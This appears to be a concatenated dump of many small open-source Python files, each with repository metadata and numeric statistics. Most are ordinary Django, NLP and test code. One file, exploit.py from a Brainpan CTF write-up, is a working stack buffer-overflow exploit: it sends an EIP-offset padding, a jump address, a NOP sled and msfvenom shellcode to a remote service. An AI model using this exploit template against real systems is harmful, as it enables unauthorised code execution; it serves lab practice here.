2021-09-26T14:05:59.000Z

import sys from .cmdline import main sys.exit(main())

11

25

0.745455

9

55

4.555556

0.666667

0

0.145455

55

4

26

13.75

0.87234

0

1

0

true

0

0.666667

0

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0

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0

null

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1

0

null

0

1

0

1

0

1

0

5

1fcc927f28c471b4577caf9978c75789fb62c4c5

182

py

Python

backend/films/admin.py

aaronjonesii/v1.4_WebApp

df4aea085b614946c047c16a337adb363f85e0ec

[ "MIT" ]

null

backend/films/admin.py

aaronjonesii/v1.4_WebApp

df4aea085b614946c047c16a337adb363f85e0ec

[ "MIT" ]

null

backend/films/admin.py

aaronjonesii/v1.4_WebApp

df4aea085b614946c047c16a337adb363f85e0ec

[ "MIT" ]

null

from django.contrib import admin from .models import Anime, Movie, Show # Register your models here. admin.site.register(Anime) admin.site.register(Movie) admin.site.register(Show)

22.75

38

0.796703

27

182

5.37037

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0.186207

0.351724

0

0.104396

182

7

39

26

0.889571

0.142857

0

1

0

true

0

0.4

0

0.4

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

950eca5c8423d59c90b1433c7b87ed943c4699dc

205

py

Python

providers/autocomplete_urls.py

EDario333/minegocito

5dd0869fa2510bb8152f4a117f33b2a30bb6d69c

[ "MIT" ]

null

providers/autocomplete_urls.py

EDario333/minegocito

5dd0869fa2510bb8152f4a117f33b2a30bb6d69c

[ "MIT" ]

null

providers/autocomplete_urls.py

EDario333/minegocito

5dd0869fa2510bb8152f4a117f33b2a30bb6d69c

[ "MIT" ]

null

from django.conf.urls import url from . autocomplete_views import \ my_providers_autocomplete urlpatterns = [ url(r'^my-providers', my_providers_autocomplete, name='my-providers-autocomplete'), ]

25.625

85

0.770732

25

205

6.12

0.52

0.287582

0.45098

0

0.126829

205

8

86

25.625

0.854749

0

0.190955

0.125628

0

1

0

false

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

null

0

1

0

5

1f1413b6caec09e36eec8023220fd9da330a5bc6

172

py

Python

problem_5/solution.py

vnnvanhuong/dcp

162d1a8213af386bec9665b02d159d1539519159

[ "MIT" ]

1

2019-06-26T08:49:11.000Z

problem_5/solution.py

vnnvanhuong/dcp

162d1a8213af386bec9665b02d159d1539519159

[ "MIT" ]

null

problem_5/solution.py

vnnvanhuong/dcp

162d1a8213af386bec9665b02d159d1539519159

[ "MIT" ]

null

def cons(a, b): def pair(f): return f(a, b) return pair def car(pair): return pair((lambda a, b: a)) def cdr(pair): return pair((lambda a, b: a))

15.636364

33

0.546512

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172

3.032258

0.322581

0.085106

0.297872

0.425532

0.489362

0

0.290698

172

11

34

15.636364

0.770492

0

0.25

0

1

0.5

false

0

0.375

1

0

null

0

1

0

null

0

1

0

1

0

5

1f3bcbb1dedeee08932cf61cdf912fa2d45ff66c

1,487

py

Python

python/stable/rpc.py

drschwabe/prototype

7948727443d5d3255b317fc94cebf03c128a58d3

[ "MIT" ]

5

2020-08-08T07:25:01.000Z

2021-06-15T13:29:19.000Z

python/stable/rpc.py

drschwabe/prototype

7948727443d5d3255b317fc94cebf03c128a58d3

[ "MIT" ]

1

2021-01-18T18:37:12.000Z

python/stable/rpc.py

drschwabe/prototype

7948727443d5d3255b317fc94cebf03c128a58d3

[ "MIT" ]

3

2020-08-10T18:49:57.000Z

2021-01-18T18:17:54.000Z

# Copyright (c) 2020 Jarret Dyrbye # Distributed under the MIT software license, see the accompanying # file LICENSE or http://www.opensource.org/licenses/mit-license.php from txjsonrpc.web import jsonrpc from stable.cmd_parse import StabledCmdParse class StabledRpc(jsonrpc.JSONRPC): APP = None def exec_cmd(self, name, argv): parser = StabledCmdParse.get_parser(app=self.APP) parsed = parser.parse_args([name] + argv) # TODO - handle failed parse natively return parsed.cmd_func(parsed) def jsonrpc_getinfo(self, argv): return self.exec_cmd('getinfo', argv) def jsonrpc_connectasset(self, argv): return self.exec_cmd('connectasset', argv) def jsonrpc_disconnectasset(self, argv): return self.exec_cmd('disconnectasset', argv) def jsonrpc_create(self, argv): return self.exec_cmd('create', argv) def jsonrpc_createstable(self, argv): return self.exec_cmd('createstable', argv) def jsonrpc_connect(self, argv): return self.exec_cmd('connect', argv) def jsonrpc_listen(self, argv): return self.exec_cmd('listen', argv) def jsonrpc_clear(self, argv): return self.exec_cmd('clear', argv) def jsonrpc_rm(self, argv): return self.exec_cmd('rm', argv) def jsonrpc_createpegged(self, argv): return self.exec_cmd('createpegged', argv) def jsonrpc_rmpegged(self, argv): return self.exec_cmd('rmpegged', argv)

29.74

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0.688635

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5.192708

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0.198596

0.275827

0

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1,487

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0

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null

0

1

0

1

0

1

0

5

1f5e7bf8c55d9ff5386f54f43197c43580e02cdc

5,817

py

Python

NLP/n-gram.py

ARAN1218/Descriptive_statistics_functions

33eb89a475ea13af8f3883b3bf4c9d6519bd9da0

[ "MIT" ]

1

2021-11-29T09:00:21.000Z

NLP/n-gram.py

ARAN-ai-python/Descriptive_statistics_functions

33eb89a475ea13af8f3883b3bf4c9d6519bd9da0

[ "MIT" ]

2

2022-02-09T14:17:21.000Z

2022-03-29T14:34:56.000Z

NLP/n-gram.py

ARAN1218/Descriptive_statistics_functions

33eb89a475ea13af8f3883b3bf4c9d6519bd9da0

[ "MIT" ]

null

import pandas as pd import MeCab from janome.tokenizer import Tokenizer from collections import Counter from sklearn.feature_extraction.text import CountVectorizer # N-gramの関数(全文字・単語対象) def n_gram_all(sentence): # 分かち書きを行う関数 def wakachi(text): mecab = MeCab.Tagger("-Owakati") return mecab.parse(text).strip().split(" ") # 文字gramを作成する関数 def char_gram(text, char_num): return [text[i:i+char_num] for i in range(len(text)-char_num+1)] # 文字uni~tri-gramで分割 char_grams = [] for i in range(1,4): char_grams.append([char for char_list in list(sentence.map(lambda x : char_gram(x, i))) for char in char_list]) # 単語uni~tri-gramで分割 word_grams = [] for i in range(1,4): vectrizer = CountVectorizer(tokenizer = wakachi, ngram_range = (i, i)) vectrizer.fit(sentence) word_grams.append([vectrizer.get_feature_names(), vectrizer.transform(sentence)]) # 文字uni~tri-gramの頻度表を作成する df_uni = pd.Series(char_grams[0]).value_counts().reset_index() df_bi = pd.Series(char_grams[1]).value_counts().reset_index() df_tri = pd.Series(char_grams[2]).value_counts().reset_index() df_char = pd.concat([df_uni, df_bi, df_tri], axis=1).set_axis(['uni_char', 'uni_cnt', 'bi_char', 'bi_cnt', 'tri_char', 'tri_cnt'], axis=1).rename_axis('char_gram') display(df_char.head(10)) # 単語uni~tri-gramの頻度表を作成する df_uni = pd.DataFrame(word_grams[0][1].toarray(), columns=word_grams[0][0]).T df_bi = pd.DataFrame(word_grams[1][1].toarray(), columns=word_grams[1][0]).T df_tri = pd.DataFrame(word_grams[2][1].toarray(), columns=word_grams[2][0]).T df_uni['word_cnt'] = df_uni.sum(axis=1) df_bi['word_cnt'] = df_bi.sum(axis=1) df_tri['word_cnt'] = df_tri.sum(axis=1) df_uni = df_uni.sort_values('word_cnt', ascending=False).reset_index()[['index', 'word_cnt']] df_bi = df_bi.sort_values('word_cnt', ascending=False).reset_index()[['index', 'word_cnt']] df_tri = df_tri.sort_values('word_cnt', ascending=False).reset_index()[['index', 'word_cnt']] df_word = pd.concat([df_uni, df_bi, df_tri], axis=1).set_axis(['uni_word', 'uni_cnt', 'bi_word', 'bi_cnt', 'tri_word', 'tri_cnt'], axis=1).rename_axis('word_gram') display(df_word.head(10)) # テスト sentence = pd.Series(["今日は雨が降っています。", "今日は雨が降っていません", "今日は雨が降っているとでも思っていたのか"]) n_gram_all(sentence) # N-gramの関数(種々の引数による調整可) # 引数select_partにより、特定の品詞のみを抽出可 # 引数only_kanjiにより、ひらがなとカタカナを除去可 # 引数display_cntにより、頻度表の表示数を変更可 def n_gram(sentence, select_part=[], only_kanji=False, display_cnt=10): # select_partが設定されていない場合、名詞と形容詞を抽出する if select_part == []: select_part = ['名詞', '形容詞'] # 分かち書き関数 def wakachi(text): # 形態素解析の準備 t = Tokenizer() noun_list = [] for sentence in list(text): for token in t.tokenize(sentence): split_token = token.part_of_speech.split(',') # 一般名詞を抽出 if split_token[0] in select_part: noun_list.append(token.surface) return noun_list # 文字gramを作成する関数 def char_gram(text, char_num): return [text[i:i+char_num] for i in range(len(text)-char_num+1)] # 文字uni~tri-gramで分割 char_grams = [] tagger = MeCab.Tagger("-p") for i in range(1,4): temp_list = [] for texts in list(sentence.map(lambda x : char_gram(x, i))): for text in texts: try: temp_list.append(text if tagger.parse(f"{text}\n").split(',')[0].split('\t')[1] in select_part else None) except: pass char_grams.append(temp_list) # 単語uni~tri-gramで分割 word_grams = [] for i in range(1,4): vectrizer = CountVectorizer(tokenizer = wakachi, ngram_range = (i, i)) vectrizer.fit(sentence) word_grams.append([vectrizer.get_feature_names(), vectrizer.transform(sentence)]) # 文字uni~tri-gramの頻度表を作成する df_uni = pd.Series(char_grams[0]).value_counts().reset_index() df_bi = pd.Series(char_grams[1]).value_counts().reset_index() df_tri = pd.Series(char_grams[2]).value_counts().reset_index() # only_kanjiがTrueの時、ひらがなとカタカナを削除する if only_kanji == True: df_uni = df_uni[~df_uni['index'].str.contains('[ぁ-んァ-ン]')].reset_index(drop=True) df_bi = df_bi[~df_bi['index'].str.contains('[ぁ-んァ-ン]')].reset_index(drop=True) df_tri = df_tri[~df_tri['index'].str.contains('[ぁ-んァ-ン]')].reset_index(drop=True) df_char = pd.concat([df_uni, df_bi, df_tri], axis=1).set_axis(['uni_char', 'uni_cnt', 'bi_char', 'bi_cnt', 'tri_char', 'tri_cnt'], axis=1).rename_axis('char_gram') display(df_char.head(display_cnt)) # 単語uni~tri-gramの頻度表を作成する df_uni = pd.DataFrame(word_grams[0][1].toarray(), columns=word_grams[0][0]).T df_bi = pd.DataFrame(word_grams[1][1].toarray(), columns=word_grams[1][0]).T df_tri = pd.DataFrame(word_grams[2][1].toarray(), columns=word_grams[2][0]).T df_uni['word_cnt'] = df_uni.sum(axis=1) df_bi['word_cnt'] = df_bi.sum(axis=1) df_tri['word_cnt'] = df_tri.sum(axis=1) df_uni = df_uni.sort_values('word_cnt', ascending=False).reset_index()[['index', 'word_cnt']] df_bi = df_bi.sort_values('word_cnt', ascending=False).reset_index()[['index', 'word_cnt']] df_tri = df_tri.sort_values('word_cnt', ascending=False).reset_index()[['index', 'word_cnt']] df_word = pd.concat([df_uni, df_bi, df_tri], axis=1).set_axis(['uni_word', 'uni_cnt', 'bi_word', 'bi_cnt', 'tri_word', 'tri_cnt'], axis=1).rename_axis('word_gram') display(df_word.head(display_cnt)) # テスト sentence = pd.Series(["今日は雨が降っています。", "今日は雨が降っていません ", "今日は雨が降っているとでも思っていたのか"]) n_gram(sentence, select_part=['名詞'], only_kanji=True, display_cnt=3)

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null

0

1

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null

0

5

1f8239fa4cb3a15c07b2cee8310ff0795720bd47

462

py

Python

src/rhub/api/health.py

tuananhnguyenf/rhub-api

8af69207a75a7af7ed0380e2d413577d5bc1871b

[ "MIT" ]

2

2021-02-25T14:27:19.000Z

2021-07-29T10:43:27.000Z

src/rhub/api/health.py

tuananhnguyenf/rhub-api

8af69207a75a7af7ed0380e2d413577d5bc1871b

[ "MIT" ]

21

2021-01-28T13:43:30.000Z

2022-02-23T17:19:50.000Z

src/rhub/api/health.py

tuananhnguyenf/rhub-api

8af69207a75a7af7ed0380e2d413577d5bc1871b

[ "MIT" ]

12

2021-01-25T08:41:07.000Z

2022-03-02T13:30:22.000Z

def ping(): """Always returns 'pong'.""" return 'pong' def cowsay(): return r""" ___________________ < Hello Resource Hub! > =================== \ \ ^__^ (oo)\_______ (__)\ )\/\ ||----w | || || """

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1

0

null

0

1

0

5

1f8c351de086b3796af291178d37e255f29d546d

177

py

Python

tests/expr13.py

Smit-create/lpython

6a731170ba9628eadc0430815c52c175a8c2e767

[ "MIT" ]

null

tests/expr13.py

Smit-create/lpython

6a731170ba9628eadc0430815c52c175a8c2e767

[ "MIT" ]

null

tests/expr13.py

Smit-create/lpython

6a731170ba9628eadc0430815c52c175a8c2e767

[ "MIT" ]

null

def test_Compare(): a: bool a = 5 > 4 a = 5 <= 4 a = 5 < 4 a = 5.6 >= 5.59999 a = 3.3 == 3.3 a = 3.3 != 3.4 a = complex(3, 4) == complex(3., 4.)

17.7

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177

1.833333

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0.151515

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0.181818

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1

0

1

0

null

0

5

2f34712f5eb460d1b655e43487d6e1e4d454631e

500

py

Python

bibclean/bib_tools/parser.py

Svdvoort/BibClean

0d891d0dc0d0b335afdf3a09f4df6103d1e96215

[ "MIT" ]

null

bibclean/bib_tools/parser.py

Svdvoort/BibClean

0d891d0dc0d0b335afdf3a09f4df6103d1e96215

[ "MIT" ]

218

2020-11-20T08:20:01.000Z

2022-03-28T19:21:18.000Z

bibclean/bib_tools/parser.py

Svdvoort/BibClean

0d891d0dc0d0b335afdf3a09f4df6103d1e96215

[ "MIT" ]

null

def has_doi(bib_info): return "doi" in bib_info def get_doi(bib_info): return bib_info["doi"] def has_title(bib_info): return "title" in bib_info def get_title(bib_info): return bib_info["title"] def has_url(bib_info): return "url" in bib_info def get_url(bib_info): if "url" in bib_info: return bib_info["url"] else: return "" def has_author(bib_info): return "author" in bib_info def get_author(bib_info): return bib_info["author"]

14.705882

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0.337662

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0.454545

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33

32

15.151515

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0

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0.421053

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0.368421

0.894737

0

null

1

0

null

0

1

0

1

0

5

2f67864015a11ef61c9c4be49eb14e7dd083a09e

56

py

Python

django/solution/untitled/ksiazkaadresowa/models/__init__.py

giserh/book-python

ebd4e70cea1dd56986aa8efbae3629ba3f1ba087

[ "MIT" ]

1

2019-01-02T15:04:08.000Z

django/solution/untitled/ksiazkaadresowa/models/__init__.py

giserh/book-python

ebd4e70cea1dd56986aa8efbae3629ba3f1ba087

[ "MIT" ]

null

django/solution/untitled/ksiazkaadresowa/models/__init__.py

giserh/book-python

ebd4e70cea1dd56986aa8efbae3629ba3f1ba087

[ "MIT" ]

null

from .address import Address from .person import Person

18.666667

28

0.821429

8

56

5.75

0.5

0

0.142857

56

2

29

28

0.958333

0

1

0

true

0

1

0

1

0

1

0

null

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1

0

null

0

1

0

1

0

1

0

5

2f781b42518544c3335b1c34bbcc94e01c2b4422

126

py

Python

src/Usuario/admin.py

fabiancontigliani/um2019

57cd812d53a16e036ae2e9dfe61ce9b9419744a9

[ "bzip2-1.0.6" ]

null

src/Usuario/admin.py

fabiancontigliani/um2019

57cd812d53a16e036ae2e9dfe61ce9b9419744a9

[ "bzip2-1.0.6" ]

null

src/Usuario/admin.py

fabiancontigliani/um2019

57cd812d53a16e036ae2e9dfe61ce9b9419744a9

[ "bzip2-1.0.6" ]

null

from django.contrib import admin # Para poder usarlo desde el admin from .models import Usuario admin.site.register(Usuario)

21

34

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19

126

5.368421

0.736842

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126

6

35

21

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true

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null

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1

0

1

0

1

0

5

2f9059815e1fe9f712dc468d0c186dfcc95881fb

205

py

Python

games/collecto/util/exceptions.py

RensOliemans/muzero-general

9305902882de88dc9c9cdaea2a880374e041bddf

[ "MIT" ]

null

games/collecto/util/exceptions.py

RensOliemans/muzero-general

9305902882de88dc9c9cdaea2a880374e041bddf

[ "MIT" ]

null

games/collecto/util/exceptions.py

RensOliemans/muzero-general

9305902882de88dc9c9cdaea2a880374e041bddf

[ "MIT" ]

null

class InvalidMoveException(Exception): pass class InvalidPlayerException(Exception): pass class InvalidGivenBallsException(Exception): pass class GameIsOverException(Exception): pass

13.666667

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9.9375

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0.165854

205

14

45

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0.5

0

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true

0.5

0

0.5

0

1

0

null

1

0

null

0

1

0

5

85f8b63969f93cf2b55e241a3cad41f14141e0cc

184

py

Python

atletas/forms.py

JohnVictor2017/StartTm

91a6f60ffd36f25f01d75798c5ef83e7dc44d97d

[ "MIT" ]

null

atletas/forms.py

JohnVictor2017/StartTm

91a6f60ffd36f25f01d75798c5ef83e7dc44d97d

[ "MIT" ]

null

atletas/forms.py

JohnVictor2017/StartTm

91a6f60ffd36f25f01d75798c5ef83e7dc44d97d

[ "MIT" ]

null

from django.forms import ModelForm from django import forms from django.contrib.auth.models import User class UserModelForm(forms.ModelForm): class Meta: model = User

20.444444

44

0.75

24

184

5.75

0.541667

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0.195652

184

8

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23

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1

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false

0

0.5

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0.833333

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1

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null

1

0

1

0

null

0

1

0

1

0

5

c85289aa46228c3296c550ff50413bcf82a9a2c8

1,836

py

Python

tests/test_primes_sum.py

jaredks/pyprimesieve

53de18a89332f9843d0dc7b46df0e281850f3ef9

[ "BSD-3-Clause" ]

34

2015-04-27T09:33:45.000Z

2022-03-17T09:33:12.000Z

tests/test_primes_sum.py

jaredks/pyprimesieve

53de18a89332f9843d0dc7b46df0e281850f3ef9

[ "BSD-3-Clause" ]

4

2015-07-03T21:20:03.000Z

2020-05-05T09:42:48.000Z

tests/test_primes_sum.py

jaredks/pyprimesieve

53de18a89332f9843d0dc7b46df0e281850f3ef9

[ "BSD-3-Clause" ]

11

2015-08-13T16:47:09.000Z

2021-05-20T22:22:27.000Z

#!/usr/bin/env python import unittest import pyprimesieve class TestSumPrimes(unittest.TestCase): def test_bignums_1(self): self.assertEqual(pyprimesieve.primes_sum(10**5), sum(pyprimesieve.primes(10**5))) def test_bignums_2(self): self.assertEqual(pyprimesieve.primes_sum(10**6), sum(pyprimesieve.primes(10**6))) def test_bignums_3(self): self.assertEqual(pyprimesieve.primes_sum(10**7), sum(pyprimesieve.primes(10**7))) def test_bignums_4(self): self.assertEqual(pyprimesieve.primes_sum(10**8), sum(pyprimesieve.primes(10**8))) def test_smallnums_1(self): self.assertEqual(pyprimesieve.primes_sum(0), 0) def test_smallnums_2(self): self.assertEqual(pyprimesieve.primes_sum(1), 0) def test_smallnums_3(self): self.assertEqual(pyprimesieve.primes_sum(2), 0) def test_smallnums_4(self): self.assertEqual(pyprimesieve.primes_sum(3), 2) def test_smallnums_5(self): self.assertEqual(pyprimesieve.primes_sum(4), 5) def test_negative_1(self): self.assertEqual(pyprimesieve.primes_sum(-1), 0) def test_negative_2(self): self.assertEqual(pyprimesieve.primes_sum(-949248), 0) def test_negative_3(self): self.assertEqual(pyprimesieve.primes_sum(-949248, -4848), 0) def test_ranges_1(self): s = pyprimesieve.primes_sum(3, 13) self.assertEqual(s, 26) self.assertEqual(s, sum(pyprimesieve.primes(13)[1:])) def test_ranges_2(self): s = pyprimesieve.primes_sum(7, 22) self.assertEqual(s, 67) self.assertEqual(s, sum(pyprimesieve.primes(22)[3:])) def test_ranges_3(self): '''start > n... please no seg fault!!1''' self.assertEqual(pyprimesieve.primes_sum(55, 22), 0) if __name__ == "__main__": unittest.main()

30.6

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0

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1,836

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90

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0

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0

null

1

0

null

0

1

0

1

0

5

c852ac0eca4b9cdbd8bf9a2836e4380493f9ab67

395

py

Python

6/cvicenie/lambda/l_exercises_answers.py

sevo/FLP-2020

6b5ecebc30f4a771aebdd8c147245557aa8901c8

[ "MIT" ]

null

6/cvicenie/lambda/l_exercises_answers.py

sevo/FLP-2020

6b5ecebc30f4a771aebdd8c147245557aa8901c8

[ "MIT" ]

1

2020-03-25T13:04:56.000Z

2020-03-25T15:24:06.000Z

6/cvicenie/lambda/l_exercises_answers.py

sevo/FLP-2020

6b5ecebc30f4a771aebdd8c147245557aa8901c8

[ "MIT" ]

null

# Lambda funkcie # # Tato sekcia sluzi na precvicenie si lambda vyrazov # # Uloha 1: def make_square(): return(lambda x: x*x) # Uloha 2: def make_upper(): return(lambda x: x.upper()) # Uloha 3: def make_power(): return(lambda x, N: x ** N) # Uloha 4: def make_power2(N): return(lambda x: x ** N) # Uloha 5: def call_name(): return(lambda x, name: getattr(x, name)())

14.107143

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0.625316

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395

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1

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5

c09b5424ac62eb9a3c5246a2b1255c4adc20c0b3

78

py

Python

canadapost/api/contract.py

archeti-org/canadapost

96898e8eb81529ed857ec61aa80c73fd0827c7e5

[ "Apache-2.0" ]

null

canadapost/api/contract.py

archeti-org/canadapost

96898e8eb81529ed857ec61aa80c73fd0827c7e5

[ "Apache-2.0" ]

null

canadapost/api/contract.py

archeti-org/canadapost

96898e8eb81529ed857ec61aa80c73fd0827c7e5

[ "Apache-2.0" ]

null

from .base import BaseApi, method class ContractShipping(BaseApi): pass

13

33

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78

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0.888889

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78

5

34

15.6

0.921875

0

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true

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1

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null

0

1

0

null

0

1

0

5

c0b41505995a44c236d91882d5077499cf9a2180

51

py

Python

__init__.py

UBISOFT-1/Quran_Module

ebd42153aa618a1601d9502c3c756421aa3fdbfb

[ "MIT" ]

4

2020-06-10T10:55:51.000Z

2021-09-15T14:16:16.000Z

__init__.py

UBISOFT-1/Quran_Module

ebd42153aa618a1601d9502c3c756421aa3fdbfb

[ "MIT" ]

null

__init__.py

UBISOFT-1/Quran_Module

ebd42153aa618a1601d9502c3c756421aa3fdbfb

[ "MIT" ]

2

2021-01-14T23:56:41.000Z

2021-09-15T14:16:15.000Z

from Quran_Module.Quran_Module import Project_Quran

51

0.921569

8

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5.5

0.625

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5

c0c6ccd9efe2804a9d440c8b10e8b063e0c05965

97

py

Python

custom_components/merge_light_ct_rgb/__init__.py

Schluggi/merge_light_ct_rgb

00afa1b6f1d6fbcdfd90938064d0c79c66b50a5c

[ "MIT" ]

null

custom_components/merge_light_ct_rgb/__init__.py

Schluggi/merge_light_ct_rgb

00afa1b6f1d6fbcdfd90938064d0c79c66b50a5c

[ "MIT" ]

null

custom_components/merge_light_ct_rgb/__init__.py

Schluggi/merge_light_ct_rgb

00afa1b6f1d6fbcdfd90938064d0c79c66b50a5c

[ "MIT" ]

null

import logging _LOGGER = logging.getLogger(__name__) def setup(hass, config): return True

12.125

37

0.742268

12

97

5.583333

0.916667

0

0.175258

97

7

38

13.857143

0.8375

0

1

0.25

false

0

0.25

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

5

c0e6369e16cb668f216c4b8af08218e9577dd441

1,069

py

Python

assets/images/Brainpan/exploit.py

unknown11001/unknown11001.github.io

91d8c24d1d9d0383ed2cf42e03152eb7ddc06e85

[ "MIT" ]

null

assets/images/Brainpan/exploit.py

unknown11001/unknown11001.github.io

91d8c24d1d9d0383ed2cf42e03152eb7ddc06e85

[ "MIT" ]

null

assets/images/Brainpan/exploit.py

unknown11001/unknown11001.github.io

91d8c24d1d9d0383ed2cf42e03152eb7ddc06e85

[ "MIT" ]

null

#!/usr/bin/env python3 import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #ip TARGET s.connect(('10.10.10.181',9999)) #OFFSET EIP junk = 'A'*524 #JMP ADDRESS # 31 17 12 f3 eip = '\xF3\x12\x17\x31' # add nop sled esp = '\x90'*30 #shellcode here #msfvenom -p windows/exec cmd=calc.exe -a x86 -b "\x00" f c esp += ("\xba\x6f\x91\xde\xc1\xdb\xc9\xd9\x74\x24\xf4\x5e\x33\xc9\xb1" "\x1f\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x9a\xfb\xd4\x9f" "\x55\x27\x1f\xfc\xc6\x94\xb3\x69\xea\xaa\x52\xe7\x0b\x07\x1a" "\x60\x90\xf0\x11\x86\xb4\x95\x4e\x9a\xb8\xb6\xa6\x13\x59\xd2" "\xd0\x7b\xc9\x72\x4a\xf5\x08\x37\xb9\x85\x4f\x78\x38\x9f\x01" "\x0d\x86\xf7\x3f\xed\xf8\x07\x67\x84\xf8\x6d\x92\xd1\x1a\x40" "\x55\x2c\x5c\x26\xa5\xd6\xe0\xc2\x02\x9b\x1c\xac\x4c\xcb\x22" "\xce\xc5\x08\xe3\x25\xd9\x0f\x07\xb5\x51\xf2\x05\x46\x14\xcd" "\xee\x57\x4d\x47\xef\xc1\xc3\x73\x40\xf2\xee\xfc\x25\x35\x88" "\xfe\xda\x57\xd0\xfe\x24\x98\x20\xba\x24\x98\x20\xbc\xeb\x18") payload = junk + eip + esp payload = payload.encode('raw_unicode_escape') s.send(payload) s.close()

28.131579

70

0.698784

227

1,069

3.273128

0.770925

0.032301

0.024226

0

0.230071

0.072965

1,069

38

71

28.131579

0.519677

0.139383

0

0.5

0.713034

0.657174

0

1

0

1

0

false

0

0.05

0

0.05

0

null

0

1

0

1

null

1

0

5

c0ec5273ef121460ce6708bc69802854c9a4b541

229

py

Python

concordia/signals/signals.py

juliecentofanti172/juliecentofanti.github.io

446ea8522b9f4a6709124ebb6e0f675acf7fe205

[ "CC0-1.0" ]

134

2018-05-23T14:00:29.000Z

2022-03-10T15:47:53.000Z

concordia/signals/signals.py

juliecentofanti172/juliecentofanti.github.io

446ea8522b9f4a6709124ebb6e0f675acf7fe205

[ "CC0-1.0" ]

1,104

2018-05-22T20:18:22.000Z

2022-03-31T17:28:40.000Z

concordia/signals/signals.py

juliecentofanti172/juliecentofanti.github.io

446ea8522b9f4a6709124ebb6e0f675acf7fe205

[ "CC0-1.0" ]

32

2018-05-22T20:22:38.000Z

2021-12-21T14:11:44.000Z

import django.dispatch reservation_obtained = django.dispatch.Signal( providing_args=["asset_pk", "reservation_token"] ) reservation_released = django.dispatch.Signal( providing_args=["asset_pk", "reservation_token"] )

22.9

52

0.777293

25

229

6.8

0.48

0.247059

0.235294

0.341176

0.658824

0

0.104803

229

9

53

25.444444

0.829268

0

0.285714

0

0.218341

0

1

0

false

0

0.142857

0

0.142857

0

1

0

null

1

0

1

0

null

0

5

c0fa4658d939223a99e644636af6633ba88c4b3f

58

py

Python

django_tenants/tests/template/loaders/__init__.py

jcass77/django-tenants

5128d9e9d2409f3cd0b09c0bd574170ff657725d

[ "MIT" ]

1

2019-12-26T22:39:43.000Z

django_tenants/tests/template/loaders/__init__.py

tiagocapelli/django-tenants

44b0bf78a5ccabcb28c4fa4ef0465aadc3125d1c

[ "MIT" ]

null

django_tenants/tests/template/loaders/__init__.py

tiagocapelli/django-tenants

44b0bf78a5ccabcb28c4fa4ef0465aadc3125d1c

[ "MIT" ]

null

from .test_cached import * from .test_filesystem import *

19.333333

30

0.793103

8

58

5.5

0.625

0.363636

0

0.137931

58

2

31

29

0.88

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

23a82ce193a02c5279e8b70e264701afa0dd76b0

103

py

Python

apps/accounts/models/__init__.py

jimialex/django-wise-template-mysql

78b7281ba5cdd1e89a165b217e1b200fdba0135b

[ "MIT" ]

5

2020-04-11T20:11:48.000Z

2021-03-16T23:58:01.000Z

apps/accounts/models/__init__.py

jimialex/django-wise-template-mysql

78b7281ba5cdd1e89a165b217e1b200fdba0135b

[ "MIT" ]

5

2020-04-11T20:17:56.000Z

2021-06-16T19:18:29.000Z

apps/accounts/models/__init__.py

jimialex/django-wise-template-mysql

78b7281ba5cdd1e89a165b217e1b200fdba0135b

[ "MIT" ]

1

2020-10-10T14:07:37.000Z

from .user import User from .phone_device import PhoneDevice from .pending_action import PendingAction

25.75

41

0.854369

14

103

6.142857

0.642857

0

0.116505

103

3

42

34.333333

0.945055

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

23b970d36aeb0239844c0b5548aab4d4fe7b9530

55

py

Python

simulation_ws/install/deepracer_msgs/lib/python2.7/dist-packages/deepracer_msgs/msg/__init__.py

we437b/dr_logger

fa47ca74dc46b8ddd596b7255b23f24034db45ac

[ "MIT" ]

null

simulation_ws/install/deepracer_msgs/lib/python2.7/dist-packages/deepracer_msgs/msg/__init__.py

we437b/dr_logger

fa47ca74dc46b8ddd596b7255b23f24034db45ac

[ "MIT" ]

null

simulation_ws/install/deepracer_msgs/lib/python2.7/dist-packages/deepracer_msgs/msg/__init__.py

we437b/dr_logger

fa47ca74dc46b8ddd596b7255b23f24034db45ac

[ "MIT" ]

null

from ._Control_input import * from ._Progress import *

18.333333

29

0.781818

7

55

5.714286

0.714286

0

0.145455

55

2

30

27.5

0.851064

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

f19303020f4006040f2490ee9718b65e55f145ed

178

py

Python

botManager/admin.py

stefan2904/ActivistBot

e68baf9caffe80437406e7360b4562653bea3b56

[ "MIT" ]

1

2017-02-09T00:47:56.000Z

botManager/admin.py

stefan2904/ActivistBot

e68baf9caffe80437406e7360b4562653bea3b56

[ "MIT" ]

14

2017-02-09T03:07:19.000Z

2017-02-10T10:40:20.000Z

botManager/admin.py

stefan2904/ActivistBot

e68baf9caffe80437406e7360b4562653bea3b56

[ "MIT" ]

null

from django.contrib import admin from .models import Bot, TelegramBot, FacebookBot # admin.site.register(Bot) admin.site.register(TelegramBot) admin.site.register(FacebookBot)

22.25

49

0.814607

23

178

6.304348

0.478261

0.186207

0.351724

0

0.089888

178

7

50

25.428571

0.895062

0.134831

0

1

0

true

0

0.5

0

0.5

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

f1995edc11da6a1d7721ae8721da0533eaec3b4b

225

py

Python

Chapter01/example011.py

JeffreyAsuncion/Packt_DataStructuresAndAlgorithms

dfbe1c815fb8392a3d61cefe3803d8c5b740c616

[ "MIT" ]

null

Chapter01/example011.py

JeffreyAsuncion/Packt_DataStructuresAndAlgorithms

dfbe1c815fb8392a3d61cefe3803d8c5b740c616

[ "MIT" ]

null

Chapter01/example011.py

JeffreyAsuncion/Packt_DataStructuresAndAlgorithms

dfbe1c815fb8392a3d61cefe3803d8c5b740c616

[ "MIT" ]

null

# Recursive Functions def iterTest(low, high): while low <= high: print(low) low=low+1 def recurTest(low,high): if low <= high: print(low) recurTest(low+1, high)

17.307692

34

0.515556

27

225

4.296296

0.407407

0.241379

0.206897

0.258621

0

0.014184

0.373333

225

13

35

17.307692

0.808511

0.084444

0

0.25

0

1

0.25

false

0

0.25

1

0

null

1

0

null

0

1

0

5

7b02e288fa2336eb923f394c3056fa1f5c55cf8d

1,932

py

Python

system/t04_mirror/list.py

Yelp/aptly

59a0c0140ba0f0f12554d57d99110511eb3e6229

[ "MIT" ]

666

2018-04-21T19:27:02.000Z

